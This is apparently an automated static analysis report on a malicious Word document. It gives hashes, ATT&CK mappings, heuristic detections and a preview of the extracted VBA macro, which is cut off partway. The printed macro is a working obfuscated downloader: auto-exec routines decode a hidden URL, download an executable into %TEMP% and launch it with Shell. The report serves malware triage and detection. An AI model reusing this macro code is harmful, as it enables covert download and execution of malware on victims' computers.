Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 499806af033a9b03…

MALICIOUS

Office (OLE)

72.5 KB Created: 2014-11-24 10:12:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: eb0209febd5951a28e6680b56c75d740 SHA-1: 9612f12f1ba75846b72100bbfdc29aba1cbcb976 SHA-256: 499806af033a9b03bf56e924b7daf5053a15f7577c726bb39abc3bedd9f1480f
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros that leverage the URLDownloadToFile API. This indicates the macro's intent is to download and execute a second-stage payload from a remote source. The presence of AutoOpen and Workbook_Open markers, along with critical heuristic firings for shell calls and obfuscated loaders, strongly suggests a downloader malware.

Heuristics 12

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        eFJGdsff = Shell(sUdsfsdf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        eFJGdsff = Shell(sUdsfsdf, 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        sUdsfsdf = Environ(HexToString("54454D50")) & HexToString("5C6643434864666473662E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20118 bytes
SHA-256: 75fb32d1299f54c8f2a8be20578545daab574301fa0d100571f89f24577e8377
Detection
ClamAV: No threats found
Obfuscation or payload: likely
144 of 213 identifiers look randomly generated (e.g. 'jQpIDcrN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If

Sub FUHJdfg()

Dim yQWgEVSx As Integer

Dim HTkQeNVI As Integer

Dim KvCmnuyY As Integer
KvCmnuyY = 8
Do While KvCmnuyY < 66
DoEvents: KvCmnuyY = KvCmnuyY + 1
Loop

HTkQeNVI = 6
Do While HTkQeNVI < 96

Dim qjTGjKZI As Integer
qjTGjKZI = 3
Do While qjTGjKZI < 39
DoEvents: qjTGjKZI = qjTGjKZI + 1
Loop

DoEvents: HTkQeNVI = HTkQeNVI + 1

Dim fWvhmFjP As Integer
fWvhmFjP = 3
Do While fWvhmFjP < 63
DoEvents: fWvhmFjP = fWvhmFjP + 1
Loop

Loop


Dim iIzaBMwe As Integer
iIzaBMwe = 2
Do While iIzaBMwe < 51
DoEvents: iIzaBMwe = iIzaBMwe + 1
Loop

yQWgEVSx = 8
Do While yQWgEVSx < 89

Dim wVSyemTh As Integer

Dim WtYSAoJW As Integer
WtYSAoJW = 9
Do While WtYSAoJW < 35
DoEvents: WtYSAoJW = WtYSAoJW + 1
Loop

wVSyemTh = 2
Do While wVSyemTh < 59

Dim zflDOalB As Integer
zflDOalB = 8
Do While zflDOalB < 23
DoEvents: zflDOalB = zflDOalB + 1
Loop

DoEvents: wVSyemTh = wVSyemTh + 1

Dim yKsfDCiz As Integer
yKsfDCiz = 2
Do While yKsfDCiz < 81
DoEvents: yKsfDCiz = yKsfDCiz + 1
Loop

Loop


Dim daVhWGPy As Integer
daVhWGPy = 3
Do While daVhWGPy < 12
DoEvents: daVhWGPy = daVhWGPy + 1
Loop

DoEvents: yQWgEVSx = yQWgEVSx + 1

Dim sixjERXY As Integer

Dim vIaunYfl As Integer
vIaunYfl = 3
Do While vIaunYfl < 81
DoEvents: vIaunYfl = vIaunYfl + 1
Loop

sixjERXY = 3
Do While sixjERXY < 94

Dim YSpczAzE As Integer
YSpczAzE = 6
Do While YSpczAzE < 12
DoEvents: YSpczAzE = YSpczAzE + 1
Loop

DoEvents: sixjERXY = sixjERXY + 1

Dim PjeVycHY As Integer
PjeVycHY = 5
Do While PjeVycHY < 55
DoEvents: PjeVycHY = PjeVycHY + 1
Loop

Loop


Dim lhiYwDfi As Integer
lhiYwDfi = 2
Do While lhiYwDfi < 25
DoEvents: lhiYwDfi = lhiYwDfi + 1
Loop

Loop


Dim KmfaCzHl As Integer

Dim XVsgOszo As Integer
XVsgOszo = 7
Do While XVsgOszo < 72
DoEvents: XVsgOszo = XVsgOszo + 1
Loop

KmfaCzHl = 8
Do While KmfaCzHl < 66

Dim ramTquJl As Integer
ramTquJl = 1
Do While ramTquJl < 82
DoEvents: ramTquJl = ramTquJl + 1
Loop

DoEvents: KmfaCzHl = KmfaCzHl + 1

Dim waxxLGei As Integer
waxxLGei = 2
Do While waxxLGei < 51
DoEvents: waxxLGei = waxxLGei + 1
Loop

Loop


Dim JbGrBwgr As Integer
JbGrBwgr = 6
Do While JbGrBwgr < 95
DoEvents: JbGrBwgr = JbGrBwgr + 1
Loop

pHJgdsf
End Sub
Sub AutoOpen()

Dim GIppUgiy As Integer

Dim XXcfDXsL As Integer

Dim OxTHiUwd As Integer
OxTHiUwd = 5
Do While OxTHiUwd < 46
DoEvents: OxTHiUwd = OxTHiUwd + 1
Loop

XXcfDXsL = 9
Do While XXcfDXsL < 33

Dim ljyFJNtW As Integer
ljyFJNtW = 2
Do While ljyFJNtW < 25
DoEvents: ljyFJNtW = ljyFJNtW + 1
Loop

DoEvents: XXcfDXsL = XXcfDXsL + 1

Dim xMBgWXLC As Integer
xMBgWXLC = 5
Do While xMBgWXLC < 83
DoEvents: xMBgWXLC = xMBgWXLC + 1
Loop

Loop


Dim lsEKqLvV As Integer
lsEKqLvV = 2
Do While lsEKqLvV < 52
DoEvents: lsEKqLvV = lsEKqLvV + 1
Loop

GIppUgiy = 6
Do While GIppUgiy < 96

Dim ZogViltY As Integer

Dim fWntkBnT As Integer
fWntkBnT = 1
Do While fWntkBnT < 48
DoEvents: fWntkBnT = fWntkBnT + 1
Loop

ZogViltY = 6
Do While ZogViltY < 96

Dim OlKQcYSA As Integer
OlKQcYSA = 5
Do While OlKQcYSA < 17
DoEvents: OlKQcYSA = OlKQcYSA + 1
Loop

DoEvents: ZogViltY = ZogViltY + 1

Dim gFeLONwa As Integer
gFeLONwa = 3
Do While gFeLONwa < 34
DoEvents: gFeLONwa = gFeLONwa + 1
Loop

Loop


Dim drDuCtZw As Integer
drDuCtZw = 1
Do While drDuCtZw < 93
DoEvents: drDuCtZw = drDuCtZw + 1
Loop

DoEvents: GIppUgiy = GIppUgiy + 1

Dim YDivsgLI As Integer

Dim GDUAwElg As Integer
GDUAwElg = 8
Do While GDUAwElg < 22
DoEvents: GDUAwElg = GDUAwElg + 1
Loop

YDivsgLI = 4
Do While YDivsgLI < 49

Dim SekGOIbI As Integer
SekGOIbI = 7
Do While SekGOIbI < 24
DoEvents: SekGOIbI = SekGOIbI + 1
Loop

DoEvents: YDivsgLI = YDivsgLI + 1

Dim llBsgtmg As Integer
llBsgtmg = 2
Do While llBsgtmg < 25
DoEvents: llBsgtmg = llBsgtmg + 1
Loop

Loop


Dim EeJHuWBm As Integer
EeJHuWBm = 6
Do While EeJHuWBm < 43
DoEvents: EeJHuWBm = EeJHuWBm + 1
Loop

Loop


Dim DXMnluwD As Integer

Dim SzlUqHPM As Integer
SzlUqHPM = 7
Do While SzlUqHPM < 53
DoEvents: SzlUqHPM = SzlUqHPM + 1
Loop

DXMnluwD = 5
Do While DXMnluwD < 52

Dim simAYlSQ As Integer
simAYlSQ = 3
Do While simAYlSQ < 37
DoEvents: simAYlSQ = simAYlSQ + 1
Loop

DoEvents: DXMnluwD = DXMnluwD + 1

Dim tCGBwbLC As Integer
tCGBwbLC = 2
Do While tCGBwbLC < 54
DoEvents: tCGBwbLC = tCGBwbLC + 1
Loop

Loop


Dim ReHLJzWF As Integer
ReHLJzWF = 6
Do While ReHLJzWF < 95
DoEvents: ReHLJzWF = ReHLJzWF + 1
Loop

    FUHJdfg
End Sub
Sub Workbook_Open()

Dim vTcyQREG As Integer

Dim yDOluHAr As Integer

Dim UIZBIyXM As Integer
UIZBIyXM = 7
Do While UIZBIyXM < 48
DoEvents: UIZBIyXM = UIZBIyXM + 1
Loop

yDOluHAr = 8
Do While yDOluHAr < 37

Dim iUyKmLSq As Integer
iUyKmLSq = 2
Do While iUyKmLSq < 98
DoEvents: iUyKmLSq = iUyKmLSq + 1
Loop

DoEvents: yDOluHAr = yDOluHAr + 1

Dim axbhpBLx As Integer
axbhpBLx = 8
Do While axbhpBLx < 24
DoEvents: axbhpBLx = axbhpBLx + 1
Loop

Loop


Dim zlLHDNHQ As Integer
zlLHDNHQ = 8
Do While zlLHDNHQ < 47
DoEvents: zlLHDNHQ = zlLHDNHQ + 1
Loop

vTcyQREG = 5
Do While vTcyQREG < 38

Dim gJKOIQhg As Integer

Dim gMAqALEs As Integer
gMAqALEs = 3
Do While gMAqALEs < 73
DoEvents: gMAqALEs = gMAqALEs + 1
Loop

gJKOIQhg = 1
Do While gJKOIQhg < 72

Dim hGMQrMnn As Integer
hGMQrMnn = 3
Do While hGMQrMnn < 72
DoEvents: hGMQrMnn = hGMQrMnn + 1
Loop

DoEvents: gJKOIQhg = gJKOIQhg + 1

Dim xWLGJFjR As Integer
xWLGJFjR = 2
Do While xWLGJFjR < 21
DoEvents: xWLGJFjR = xWLGJFjR + 1
Loop

Loop


Dim cJdhmGdL As Integer
cJdhmGdL = 2
Do While cJdhmGdL < 21
DoEvents: cJdhmGdL = cJdhmGdL + 1
Loop

DoEvents: vTcyQREG = vTcyQREG + 1

Dim kwQpSUrk As Integer

Dim WoqbIvPe As Integer
WoqbIvPe = 6
Do While WoqbIvPe < 12
DoEvents: WoqbIvPe = WoqbIvPe + 1
Loop

kwQpSUrk = 4
Do While kwQpSUrk < 41

Dim WtRNsbYk As Integer
WtRNsbYk = 7
Do While WtRNsbYk < 11
DoEvents: WtRNsbYk = WtRNsbYk + 1
Loop

DoEvents: kwQpSUrk = kwQpSUrk + 1

Dim eqErBlxw As Integer
eqErBlxw = 1
Do While eqErBlxw < 84
DoEvents: eqErBlxw = eqErBlxw + 1
Loop

Loop


Dim talMXcYH As Integer
talMXcYH = 2
Do While talMXcYH < 26
DoEvents: talMXcYH = talMXcYH + 1
Loop

Loop


Dim DBUZvqri As Integer

Dim pwyFFgBz As Integer
pwyFFgBz = 9
Do While pwyFFgBz < 96
DoEvents: pwyFFgBz = pwyFFgBz + 1
Loop

DBUZvqri = 5
Do While DBUZvqri < 52

Dim DedqKHeW As Integer
DedqKHeW = 5
Do While DedqKHeW < 53
DoEvents: DedqKHeW = DedqKHeW + 1
Loop

DoEvents: DBUZvqri = DBUZvqri + 1

Dim iOBhGltE As Integer
iOBhGltE = 2
Do While iOBhGltE < 51
DoEvents: iOBhGltE = iOBhGltE + 1
Loop

Loop


Dim VQhevYYi As Integer
VQhevYYi = 7
Do While VQhevYYi < 17
DoEvents: VQhevYYi = VQhevYYi + 1
Loop

    FUHJdfg
End Sub
Sub pHJgdsf()

Dim ocijoVqR As Integer

Dim muaNpILj As Integer

Dim esccODLm As Integer
esccODLm = 1
Do While esccODLm < 18
DoEvents: esccODLm = esccODLm + 1
Loop

muaNpILj = 4
Do While muaNpILj < 85

Dim MfFqkamV As Integer
MfFqkamV = 6
Do While MfFqkamV < 65
DoEvents: MfFqkamV = MfFqkamV + 1
Loop

DoEvents: muaNpILj = muaNpILj + 1

Dim alDftWqz As Integer
alDftWqz = 1
Do While alDftWqz < 48
DoEvents: alDftWqz = alDftWqz + 1
Loop

Loop


Dim LmoPQjgB As Integer
LmoPQjgB = 9
Do While LmoPQjgB < 38
DoEvents: LmoPQjgB = LmoPQjgB + 1
Loop

ocijoVqR = 9
Do While ocijoVqR < 58

Dim eyyIbBjL As Integer

Dim GMVnTZGM As Integer
GMVnTZGM = 5
Do While GMVnTZGM < 98
DoEvents: GMVnTZGM = GMVnTZGM + 1
Loop

eyyIbBjL = 8
Do While eyyIbBjL < 21

Dim LjcRKADp As Integer
LjcRKADp = 6
Do While LjcRKADp < 13
DoEvents: LjcRKADp = LjcRKADp + 1
Loop

DoEvents: eyyIbBjL = eyyIbBjL + 1

Dim gKTVpiaB As Integer
gKTVpiaB = 3
Do While gKTVpiaB < 11
DoEvents: gKTVpiaB = gKTVpiaB + 1
Loop

Loop


Dim lhtawuNg As Integer
lhtawuNg = 4
Do While lhtawuNg < 25
DoEvents: lhtawuNg = lhtawuNg + 1
Loop

DoEvents: ocijoVqR = ocijoVqR + 1

Dim uOBoEWtW As Integer

Dim wrrtupiJ As Integer
wrrtupiJ = 5
Do While wrrtupiJ < 85
DoEvents: wrrtupiJ = wrrtupiJ + 1
Loop

uOBoEWtW = 2
Do While uOBoEWtW < 98

Dim FXSvCWEL As Integer
FXSvCWEL = 8
Do While FXSvCWEL < 23
DoEvents: FXSvCWEL = FXSvCWEL + 1
Loop

DoEvents: uOBoEWtW = uOBoEWtW + 1

Dim QhuGvKpS As Integer
QhuGvKpS = 5
Do While QhuGvKpS < 55
DoEvents: QhuGvKpS = QhuGvKpS + 1
Loop

Loop


Dim kZVbLgrb As Integer
kZVbLgrb = 1
Do While kZVbLgrb < 17
DoEvents: kZVbLgrb = kZVbLgrb + 1
Loop

Loop


Dim ZojHOAjJ As Integer

Dim TBzoaqru As Integer
TBzoaqru = 6
Do While TBzoaqru < 42
DoEvents: TBzoaqru = TBzoaqru + 1
Loop

ZojHOAjJ = 6
Do While ZojHOAjJ < 34

Dim sdLLwICM As Integer
sdLLwICM = 3
Do While sdLLwICM < 94
DoEvents: sdLLwICM = sdLLwICM + 1
Loop

DoEvents: ZojHOAjJ = ZojHOAjJ + 1

Dim oElLMSyu As Integer
oElLMSyu = 9
Do While oElLMSyu < 36
DoEvents: oElLMSyu = oElLMSyu + 1
Loop

Loop


Dim HSYKIssa As Integer
HSYKIssa = 6
Do While HSYKIssa < 22
DoEvents: HSYKIssa = HSYKIssa + 1
Loop

    pGhdsffd = HexToString(StrReverse("568756E2E69626F237A6F2A736E297C6E6F63747560727F666F2F2A307474786"))

Dim VYKnOiZW As Integer

Dim EzMRNZsf As Integer

Dim ZlsZaHTR As Integer
ZlsZaHTR = 3
Do While ZlsZaHTR < 36
DoEvents: ZlsZaHTR = ZlsZaHTR + 1
Loop

EzMRNZsf = 4
Do While EzMRNZsf < 94

Dim cCIKlzoq As Integer
cCIKlzoq = 2
Do While cCIKlzoq < 22
DoEvents: cCIKlzoq = cCIKlzoq + 1
Loop

DoEvents: EzMRNZsf = EzMRNZsf + 1

Dim mfiLJykx As Integer
mfiLJykx = 4
Do While mfiLJykx < 86
DoEvents: mfiLJykx = mfiLJykx + 1
Loop

Loop


Dim EdDvDrkF As Integer
EdDvDrkF = 3
Do While EdDvDrkF < 73
DoEvents: EdDvDrkF = EdDvDrkF + 1
Loop

VYKnOiZW = 9
Do While VYKnOiZW < 92

Dim NAssyocp As Integer

Dim iPPQFITz As Integer
iPPQFITz = 9
Do While iPPQFITz < 37
DoEvents: iPPQFITz = iPPQFITz + 1
Loop

NAssyocp = 1
Do While NAssyocp < 49

Dim jQpIDcrN As Integer
jQpIDcrN = 1
Do While jQpIDcrN < 71
DoEvents: jQpIDcrN = jQpIDcrN + 1
Loop

DoEvents: NAssyocp = NAssyocp + 1

Dim fzPIsZsd As Integer
fzPIsZsd = 3
Do While fzPIsZsd < 36
DoEvents: fzPIsZsd = fzPIsZsd + 1
Loop

Loop


Dim VJUWhCia As Integer
VJUWhCia = 7
Do While VJUWhCia < 71
DoEvents: VJUWhCia = VJUWhCia + 1
Loop

DoEvents: VYKnOiZW = VYKnOiZW + 1

Dim TXxlkZuO As Integer

Dim TVriKcdz As Integer
TVriKcdz = 6
Do While TVriKcdz < 94
DoEvents: TVriKcdz = TVriKcdz + 1
Loop

TXxlkZuO = 4
Do While TXxlkZuO < 41

Dim hDamXLiJ As Integer
hDamXLiJ = 4
Do While hDamXLiJ < 72
DoEvents: hDamXLiJ = hDamXLiJ + 1
Loop

DoEvents: TXxlkZuO = TXxlkZuO + 1

Dim ehzkyuOd As Integer
ehzkyuOd = 8
Do While ehzkyuOd < 85
DoEvents: ehzkyuOd = ehzkyuOd + 1
Loop

Loop


Dim zcdEQxRy As Integer
zcdEQxRy = 1
Do While zcdEQxRy < 86
DoEvents: zcdEQxRy = zcdEQxRy + 1
Loop

Loop


Dim gHChaXHk As Integer

Dim oUVDfABV As Integer
oUVDfABV = 2
Do While oUVDfABV < 98
DoEvents: oUVDfABV = oUVDfABV + 1
Loop

gHChaXHk = 1
Do While gHChaXHk < 19

Dim KAvPVMIY As Integer
KAvPVMIY = 8
Do While KAvPVMIY < 82
DoEvents: KAvPVMIY = KAvPVMIY + 1
Loop

DoEvents: gHChaXHk = gHChaXHk + 1

Dim kEDYVvVx As Integer
kEDYVvVx = 4
Do While kEDYVvVx < 79
DoEvents: kEDYVvVx = kEDYVvVx + 1
Loop

Loop


Dim elPLzMLq As Integer
elPLzMLq = 1
Do While elPLzMLq < 47
DoEvents: elPLzMLq = elPLzMLq + 1
Loop

    sUdsfsdf = Environ(HexToString("54454D50")) & HexToString("5C6643434864666473662E657865")

Dim zqQzDrjC As Integer

Dim gQmmwFpm As Integer

Dim QkJsRhRf As Integer
QkJsRhRf = 5
Do While QkJsRhRf < 55
DoEvents: QkJsRhRf = QkJsRhRf + 1
Loop

gQmmwFpm = 3
Do While gQmmwFpm < 71

Dim CCyyGown As Integer
CCyyGown = 9
Do While CCyyGown < 72
DoEvents: CCyyGown = CCyyGown + 1
Loop

DoEvents: gQmmwFpm = gQmmwFpm + 1

Dim xNlzHFQj As Integer
xNlzHFQj = 2
Do While xNlzHFQj < 69
DoEvents: xNlzHFQj = xNlzHFQj + 1
Loop

Loop


Dim ORIWaUAZ As Integer
ORIWaUAZ = 4
Do While ORIWaUAZ < 86
DoEvents: ORIWaUAZ = ORIWaUAZ + 1
Loop

zqQzDrjC = 1
Do While zqQzDrjC < 46

Dim dNtIOLjG As Integer

Dim sSJPGJbo As Integer
sSJPGJbo = 3
Do While sSJPGJbo < 62
DoEvents: sSJPGJbo = sSJPGJbo + 1
Loop

dNtIOLjG = 1
Do While dNtIOLjG < 49

Dim bdZLmDAA As Integer
bdZLmDAA = 5
Do While bdZLmDAA < 86
DoEvents: bdZLmDAA = bdZLmDAA + 1
Loop

DoEvents: dNtIOLjG = dNtIOLjG + 1

Dim sGZHTaeC As Integer
sGZHTaeC = 9
Do While sGZHTaeC < 99
DoEvents: sGZHTaeC = sGZHTaeC + 1
Loop

Loop


Dim QGaNlYjW As Integer
QGaNlYjW = 5
Do While QGaNlYjW < 59
DoEvents: QGaNlYjW = QGaNlYjW + 1
Loop

DoEvents: zqQzDrjC = zqQzDrjC + 1

Dim KmhHMdNg As Integer

Dim dTmkFpbL As Integer
dTmkFpbL = 1
Do While dTmkFpbL < 46
DoEvents: dTmkFpbL = dTmkFpbL + 1
Loop

KmhHMdNg = 8
Do While KmhHMdNg < 66

Dim DYLAEGFJ As Integer
DYLAEGFJ = 5
Do While DYLAEGFJ < 86
DoEvents: DYLAEGFJ = DYLAEGFJ + 1
Loop

DoEvents: KmhHMdNg = KmhHMdNg + 1

Dim nrhDiyAl As Integer
nrhDiyAl = 5
Do While nrhDiyAl < 33
DoEvents: nrhDiyAl = nrhDiyAl + 1
Loop

Loop


Dim fbXfnxde As Integer
fbXfnxde = 3
Do While fbXfnxde < 17
DoEvents: fbXfnxde = fbXfnxde + 1
Loop

Loop


Dim GPBrikuI As Integer

Dim YxublkgQ As Integer
YxublkgQ = 4
Do While YxublkgQ < 46
DoEvents: YxublkgQ = YxublkgQ + 1
Loop

GPBrikuI = 8
Do While GPBrikuI < 58

Dim SDiAXAzn As Integer
SDiAXAzn = 5
Do While SDiAXAzn < 59
DoEvents: SDiAXAzn = SDiAXAzn + 1
Loop

DoEvents: GPBrikuI = GPBrikuI + 1

Dim DYDrtRsG As Integer
DYDrtRsG = 8
Do While DYDrtRsG < 21
DoEvents: DYDrtRsG = DYDrtRsG + 1
Loop

Loop


Dim rDinBxtz As Integer
rDinBxtz = 1
Do While rDinBxtz < 52
DoEvents: rDinBxtz = rDinBxtz + 1
Loop

    sHVUdsf = URLDownloadToFile(0&, pGhdsffd, sUdsfsdf, 0&, 0&)
   Dim eFJGdsff

Dim olveWXLz As Integer

Dim PglROAmx As Integer

Dim BgJFkDMh As Integer
BgJFkDMh = 7
Do While BgJFkDMh < 13
DoEvents: BgJFkDMh = BgJFkDMh + 1
Loop

PglROAmx = 7
Do While PglROAmx < 78

Dim gwsqdTDE As Integer
gwsqdTDE = 1
Do While gwsqdTDE < 78
DoEvents: gwsqdTDE = gwsqdTDE + 1
Loop

DoEvents: PglROAmx = PglROAmx + 1

Dim EFRFTkox As Integer
EFRFTkox = 6
Do While EFRFTkox < 64
DoEvents: EFRFTkox = EFRFTkox + 1
Loop

Loop


Dim mQjHUUCu As Integer
mQjHUUCu = 2
Do While mQjHUUCu < 29
DoEvents: mQjHUUCu = mQjHUUCu + 1
Loop

olveWXLz = 2
Do While olveWXLz < 67

Dim WBqonkBA As Integer

Dim JoSgyIZp As Integer
JoSgyIZp = 6
Do While JoSgyIZp < 64
DoEvents: JoSgyIZp = JoSgyIZp + 1
Loop

WBqonkBA = 7
Do While WBqonkBA < 72

Dim OyvjiVjW As Integer
OyvjiVjW = 4
Do While OyvjiVjW < 29
DoEvents: OyvjiVjW = OyvjiVjW + 1
Loop

DoEvents: WBqonkBA = WBqonkBA + 1

Dim sGxnvbwY As Integer
sGxnvbwY = 9
Do While sGxnvbwY < 48
DoEvents: sGxnvbwY = sGxnvbwY + 1
Loop

Loop


Dim HjNdCeST As Integer
HjNdCeST = 6
Do While HjNdCeST < 93
DoEvents: HjNdCeST = HjNdCeST + 1
Loop

DoEvents: olveWXLz = olveWXLz + 1

Dim nlxhSQIz As Integer

Dim qBTFlQeU As Integer
qBTFlQeU = 3
…

Open this report in the interactive analyzer, or submit your own file for analysis.